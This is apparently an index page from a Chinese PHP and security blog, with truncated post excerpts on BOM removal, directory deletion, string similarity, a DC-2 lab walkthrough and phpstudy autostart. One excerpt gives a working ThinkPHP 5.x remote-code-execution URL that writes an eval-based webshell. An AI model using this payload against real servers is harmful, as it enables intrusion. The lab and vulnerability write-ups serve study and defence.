2020-4-5 myluzh
PHP
0x01 问题描述
最近在开发PHP+HTML页面时遇到一个问题,本地测试环境运行页面没有任何问题,把页面上传到服务器,访问网站页面,页面顶部就会空出一部分,看了下审查元素 body标签里面多出了 的内容。
找了下问题出现原因跟解决方案:模板文件生成html文件之后会在body开头处加入一个可见的控制符,导致页面头部会出现一个空白行。原因是页面的编码是UTF-8 + BOM。用Sublime或者其他代码编辑器把页面保存为UTF8无BOM的编码即可。但是我尝试了一下空白部分还在,并未解决。
0x02 解决方案
把下面代码保存为delbom.php,放到网站根目录,访问该页面即可删掉网站全部BOM头。然后就可以把delbom.php删掉了~
<?php
if (isset($_GET['dir'])) { //设置文件目录
$basedir = $_GET['dir'];
} else {
...
阅读全文>>
标签: 
评论(0)
(701)
2020-4-3 myluzh
PHP
//删除指定文件夹以及文件夹下的所有文件
function deldir($dir) {
//先删除目录下的文件:
$dh=opendir($dir);
while ($file=readdir($dh)) {
if($file!="." && $file!="..") {
$fullpath=$dir."/".$file;
if(!is_dir($fullpath)) {
unlink($fullpath);
} else {
deldir($fullpath);
}
}
}
closedir($dh);
//删除当前文件夹:
if(rmdir($dir)) {
return true;
} else {
return false;
}
}
阅读全文>>
标签: php
评论(0)
(562)
2020-3-30 myluzh
PHP
可以计算两个字符串之间最长公共子序列或者相似度,但是比较吃内存。
<?php
class LCS {
var $str1;
var $str2;
var $c = array();
/*返回串一和串二的最长公共子序列
*/
function getLCS($str1, $str2, $len1 = 0, $len2 = 0) {
$this->str1 = $str1;
$this->str2 = $str2;
if ($len1 == 0) $len1 = strlen($str1);
if ($len2 == 0) $len2 = strlen($str2);
$this->initC($len1, $len2);
return $this->printLCS($this->c, $len1 - 1, $len2 - 1);
}
/*返回两个串的相似度
*/
function getSimil...
阅读全文>>
标签: php 算法
评论(0)
(692)
2020-3-25 myluzh
PHP
0x01影响版本:
ThinkPHP v5.0系列<5.0.23
ThinkPHP v5.1系列<5.1.31
0x02漏洞分析:
关键代码:
// 获取控制器名
$controller = strip_tags($result[1] ?: $this->rule->getConfig('default_controller'));
该漏洞形成的原因是ThinkPHP在获取控制器名时未对用户提交的参数进行严格的过滤,在没有开启强制路由的情况下,攻击者可以通过输入‘\’字符的方式调用任意方法,从而实现远程代码执行。
0x03入侵利用
1. 写入 Shell
http//localhost/thinkphp-5.1.29/public/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=shell.php&vars[1][]=<?php @eval($_REQUEST[...
阅读全文>>
标签: 渗透 php 漏洞 ThinkPHP 远程命令执行
评论(0)
(1166)
2020-3-23 myluzh
SECURE
0x01初步探测
靶机导入虚拟机后,利用命令 nmap -sP 192.168.1.1/24 或者 netdiscover找到靶机,ip为192.168.1.106,nmap扫描后,只开了一个80端口。
0x02 修改host
根据官方说明,需要为主机添加一条host记录,把你的 靶机ip 指向 DC-2 ,否则无法访问到靶机的CMS。
###靶机官方说明:
Please note that you will need to set the hosts file on your pentesting device to something like:
192.168.0.145 dc-2
Obviously, replace 192.168.0.145 with the actual IP address of DC-2.
It will make life a whole lot simpler (and a certain CMS may not work without it).
###Linux 修改host:
vi /etc/hosts
###Windows 修改host:
...
阅读全文>>
标签: 靶机
评论(0)
(882)
2020-3-21 myluzh
PHP
在Window的文件资源管理器地址输入StartUp文件夹地址,
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp或
%programdata%\Microsoft\Windows\Start Menu\Programs\Startup
加入一个bat文件,内容如下,记得改下面phpstudy地址,这边是D:\phpstudy_pro\:
%1 %2
ver|find "5.">nul&&goto :Admin
mshta vbscript:createobject("shell.application").shellexecute("%~s0","goto :Admin","","runas",1)(window.close)&goto :eof
:Admin
D:\phpstudy_pro\Extensions\MySQL5.7.26\bin\mysqld --install
D:\phpstudy_pro\Extensions\Apache2.4.39\bin\httpd.exe -k insta...
阅读全文>>
标签: phpstudy_pro windows 自启
评论(0)
(702)